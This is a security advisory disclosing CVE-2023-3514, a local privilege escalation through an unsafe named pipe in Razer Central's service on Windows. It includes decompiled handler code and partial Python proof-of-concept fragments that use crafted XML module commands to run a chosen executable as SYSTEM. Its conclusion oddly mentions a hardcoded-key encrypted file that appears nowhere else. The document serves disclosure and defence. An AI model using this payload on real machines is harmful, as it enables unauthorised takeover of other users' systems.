Headline
CVE-2023-3514: (CVE-2023-3514) RazerCentralSerivce unsafe NamedPipe permission Escalation of Privilege Vulnerability
Improper Privilege Control in RazerCentralSerivce Named Pipe in Razer RazerCentral <=7.11.0.558 on Windows allows a malicious actor with local access to gain SYSTEM privilege via communicating with the named pipe as a low-privilege user and calling “AddModule” or “UninstallModules” command to execute arbitrary executable file.
Summary
Product
Razer CentralService
Vendor
Razer
Severity
High - Adversaries may exploit software vulnerabilities to obtain privilege escalation.
Affected Versions
Razer Central 7.11.0.558 and below
Tested Versions
Razer Central 7.8.0.381 to 7.11.0.558
CVE Identifier
CVE-2023-3514
CVSS3.1 Scoring System
Base Score: 7.8 (High) Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric
Value
Attack Vector (AV)
Local
Attack Complexity (AC)
Low
Privileges Required (PR)
low
User Interaction (UI)
None
Scope (S)
Unchanged
Confidentiality ©
High
Integrity (I)
High
Availability (A)
High
Product Overview
Razer Synapse 3 is a software suite developed by Razer, a leading gaming hardware manufacturer. It serves as a centralized hub for customizing and optimizing Razer peripherals, including keyboards, mice, headsets, and other gaming accessories. With its intuitive user interface, Synapse 3 allows gamers to personalize their devices by creating unique profiles, assigning macros, and fine-tuning settings such as lighting effects and DPI sensitivity. This software provides seamless integration with cloud storage, enabling users to access their personalized configurations from anywhere. With its advanced features and extensive compatibility, Razer Synapse 3 empowers gamers to enhance their gaming experience and gain a competitive edge.
Description of the vulnerability
There is a service named RazerCentralService.exe installed, which plays a crucial role in managing user information and notifications. Applications establish communication with this service through a namedpipe. However, an unfortunate bug exists in RazerCentralService.exe, which can potentially enable users with low privileges to execute code as the system. This vulnerability affects computers with the RazerCentralService installed.
The RazerCentralService.exe uses NamedPipe to communicate with other processes.
pipe_name = r'\\.\pipe\{FC828A97-C116-453D-BD88-AD471496E03C}'
The provided code assigns the variable pipe_name with the name of the currently used pipe, represented as \.\pipe{FC828A97-C116-453D-BD88-AD471496E03C} in this example.
It’s important to note that several services can be accessed via NamedPipe without undergoing appropriate sanitization. This lack of sanitization exposes them to potential security risks.
namespace Razer.ActionService
{
// Token: 0x02000006 RID: 6
public enum RzServiceType
{
// Token: 0x0400001B RID: 27
UpdateManager = 2,
// Token: 0x0400001C RID: 28
AccountManager = 4,
// Token: 0x0400001D RID: 29
Notifications = 5,
// Token: 0x0400001E RID: 30
ActionCenter
}
}
The `UpdateManager`` service provides the following functionalities:
public class UpdateManagerIpcWrapper : UpdateManagerIpcBase, IDisposable
{
// Token: 0x060002AA RID: 682 RVA: 0x00010510 File Offset: 0x0000E710
public UpdateManagerIpcWrapper(IUpdateController controller, IUpdateManager manager, INacServiceClient nacClient)
{
this.m_manager = manager;
this.m_controller = controller;
this.m_nacClient = nacClient;
this.m_controller.UpdatesAvailable += this.FireUpdatesAvailable;
this.m_manager.ProductRegistered += this.FireProductRegistered;
this.m_manager.CheckingForUpdates += this.FireCheckingForUpdates;
this.m_manager.InstallComplete += this.FireInstallComplete;
this.m_manager.DownloadProgress += this.FireDownloadProgress;
this.m_manager.DownloadComplete += this.FireDownloadComplete;
this.m_manager.ModuleInstallStart += this.FireModuleInstallStart;
this.m_manager.InstallProgress += this.FireInstallProgress;
this.m_manager.ModuleDownloadProgress += this.FireModuleDownloadProgress;
this.m_manager.ModuleDownloadComplete += this.FireModuleDownloadComplete;
this.m_manager.OptionalModuleInstallStart += this.FireOptionalModuleInstallStart;
this.m_manager.OptionalModuleInstallComplete += this.FireOptionalModuleInstallComplete;
this.m_manager.OptionalModuleUninstallStart += this.FireOptionalModuleUninstallStart;
this.m_manager.OptionalModuleUninstallComplete += this.FireOptionalModuleUninstallComplete;
manager.EndpointChange += this.FireEndpointChange;
base.RegisterHandler(Commands.AddModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleAddModule));
base.RegisterHandler(Commands.RemoveModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleRemoveModule));
base.RegisterHandler(Commands.Register, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegister));
base.RegisterHandler(Commands.RegisterForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterForUpdates));
base.RegisterHandler(Commands.GetUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetUpdates));
base.RegisterHandler(Commands.GetInstalledOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledOptionalModules));
base.RegisterHandler(Commands.GetAvailableOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetAvailableOptionalModules));
base.RegisterHandler(Commands.GetOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetOptionalModules));
base.RegisterHandler(Commands.CheckForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdates));
base.RegisterHandler(Commands.DownloadUpdate, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadUpdate));
base.RegisterHandler(Commands.PauseDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseDownload));
base.RegisterHandler(Commands.PauseModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseModuleDownload));
base.RegisterHandler(Commands.CancelDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelDownload));
base.RegisterHandler(Commands.CancelModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelModuleDownload));
base.RegisterHandler(Commands.InstallUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallUpdates));
base.RegisterHandler(Commands.GetInstalledSoftware, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledSoftware));
base.RegisterHandler(Commands.PostponeUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandlePostponeUpdates));
base.RegisterHandler(Commands.ShowUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleShowUpdates));
base.RegisterHandler(Commands.SetIconPath, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetIconPath));
base.RegisterHandler(Commands.InstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallModules));
base.RegisterHandler(Commands.DownloadModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadModule));
base.RegisterHandler(Commands.UninstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleUninstallModules));
base.RegisterHandler(Commands.GetRegisteredProducts, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredProducts));
base.RegisterHandler(Commands.RegisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterDevices));
base.RegisterHandler(Commands.UnregisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleUnregisterDevices));
base.RegisterHandler(Commands.ClearRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleClearRegisteredDevices));
base.RegisterHandler(Commands.GetRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredDevices));
base.RegisterHandler(Commands.SetEndpoint, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetEndpoint));
base.RegisterHandler(Commands.GetEndpointDetails, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetails));
base.RegisterHandler(Commands.GetEndpointDetailsEx, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetailsEx));
base.RegisterHandler(Commands.Setting_SetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Set));
base.RegisterHandler(Commands.Setting_GetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Get));
base.RegisterHandler(Commands.Setting_SetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Set));
base.RegisterHandler(Commands.Setting_GetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Get));
base.RegisterHandler(Commands.Setting_SetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Set));
base.RegisterHandler(Commands.Setting_GetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Get));
base.RegisterHandler(Commands.Setting_SetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Set));
base.RegisterHandler(Commands.Setting_GetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Get));
base.RegisterHandler(Commands.Event_ModuleInstallStart, new Func<IRazerSocket, byte[], byte[]>(this.RouteModuleInstallStart));
base.RegisterHandler(Commands.Event_ModuleInstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallProgress));
base.RegisterHandler(Commands.Event_InstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallComplete));
}
After thoroughly examining the code, we stumbled upon an interesting revelation: the AddModule and UninstallModules commands possess the crucial functionality required for generating a fraudulent module and running our binary with the highly desirable SYSTEM privilege. These commands have the ability to accept input in xml formats. By cleverly constructing a malicious xml input, we can make RazerCentralService.exe to execute our binary with the mighty SYSTEM privilege.
def add_module():
product = 'Emily3'
module = 'my_test_module'
version = struct.pack('<IIII', 0x11223344, 0x11223344, 0x11223344, 0x11223344)
update_module = '''
<a>
<Module>
<AdminPrivilegeRequired>1</AdminPrivilegeRequired>
<SynapseRestartRequired>0</SynapseRestartRequired>
<Description>desc</Description>
<Name>my_test_module</Name>
<DisplayName>my_test_module</DisplayName>
<FileName>D:\\test.exe</FileName>
<Visible>1</Visible>
<IconPath>C:\\ProgramData\\Razer\\Razer Central\\Update\\GameBooster2\\AppIcon.ico</IconPath>
<LaunchFilePath>D:\\test.exe</LaunchFilePath>
<DownloadURL>http://127.0.0.1</DownloadURL>
<UninstallFilePath>C:\\Windows\\System32\\notepad.exe</UninstallFilePath>
</Module>
</a>
'''
def uninstall_modules():
product = 'Emily3'
modules = '''
<a>
<String>my_test_module</String>
</a>
'''
data = serialize_string(product)
data += serialize_string(modules)
p = create_message(UpdateManager, UninstallModules, data)
send_packet(p)
Here is a proof of concept (POC) written in Python 2 that you can use to execute notepad.exe as the SYSTEM user. Simply run the POC code provided here.
Reproduction Steps
For simplicity, follow the following steps to re-produce.
- Install the Razer software.
- Install Python 2 and the necessary Python modules.
- Log in and wait for 3-5 minutes to ensure that the directory at C:\ProgramData\Razer\Razer Central\Accounts exists.
- Execute the exploit script using Python 2.
Conclusion
In summary, relying on an encrypted file with a hardcoded key is not a dependable security measure. When operating as the SYSTEM user, it is crucial to exercise prudence in your actions. To tackle this problem, consider implementing the following measures:
- Verify that the NamedPipe has the appropriate permissions configured.
- Sanitize any untrusted input originating from the NamedPipe to prevent potential vulnerabilities.
Credits
Phan Thanh Duy (@PTDuy) of STAR Labs SG Pte. Ltd. (@starlabs_sg)